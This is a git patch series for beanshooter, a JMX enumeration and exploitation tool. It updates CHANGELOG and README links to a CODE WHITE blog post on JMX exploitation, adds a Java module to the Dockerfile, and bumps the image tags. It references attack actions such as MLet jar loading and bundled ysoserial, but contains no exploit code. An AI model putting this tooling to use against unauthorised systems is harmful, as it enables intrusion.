b/CHANGELOG.md index 32ea51b..aa36b27 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,8 +10,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added -* Add [model](/#model) action (see CODE WHITE [blog post](TODO)) -* Add [standard](/#standard) action (see CODE WHITE [blog post](TODO)) +* Add [model](/#model) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)) +* Add [standard](/#standard) action (see CODE WHITE [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)) ### Changed diff --git a/README.md b/README.md index 51360a0..4ced515 100644 --- a/README.md +++ b/README.md @@ -594,8 +594,8 @@ EMPTY OUTPUT - Just an Indent ;) ``` If you want to know more about the technique that is implemented by the `model` action, I highly -recommend [this blog post](TODO) by [CODE WHITE](https://twitter.com/codewhitesec) which explains it -in great detail. +recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) +by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail. #### Serial @@ -773,8 +773,8 @@ you may be able to upload the *TonkaBean* Jar file and load it via *MLet* and th ``` If you want to know more about the technique that is implemented by the `standard` action, I highly -recommend [this blog post](TODO) by [CODE WHITE](https://twitter.com/codewhitesec) which explains it -in great detail. +recommend this [blog post](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) +by [CODE WHITE](https://twitter.com/codewhitesec) which explains it in great detail. #### Undeploy From 9ef6907fe097a6afff19ab11184370aeed2cfb7e Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 20 Mar 2023 11:26:14 +0100 Subject: [PATCH 24/25] Add java.xml module to beanshooter Dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index db449ab..3797fcb 100644 --- a/Dockerfile +++ b/Dockerfile @@ -15,7 +15,7 @@ FROM alpine:latest AS jdk-builder RUN set -ex \ && apk add --no-cache openjdk11 \ && /usr/lib/jvm/java-11-openjdk/bin/jlink \ - --add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver \ + --add-modules java.desktop,java.management.rmi,jdk.naming.rmi,java.security.sasl,jdk.unsupported,jdk.httpserver,java.xml \ --verbose --strip-debug --compress 2 --no-header-files --no-man-pages --output /jdk ########################################### From 264140ae2ecadcf3ae15618ed6beff1ea11fbe40 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 20 Mar 2023 11:50:25 +0100 Subject: [PATCH 25/25] Update container data in README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 4ced515..38d61a3 100644 --- a/README.md +++ b/README.md @@ -1533,8 +1533,8 @@ For each release, there is a *normal* and a *slim* version available. Both provi *beanshooter*, but only the *normal* version ships with [ysoserial](https://github.com/frohoff/ysoserial) included, resulting in a larger image size: -* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1` - `121MB` -* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:3.1.1-slim` - `61.9MB` +* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0` - `124MB` +* `docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim` - `64.8MB` You can also build the container on your own by running the following commands: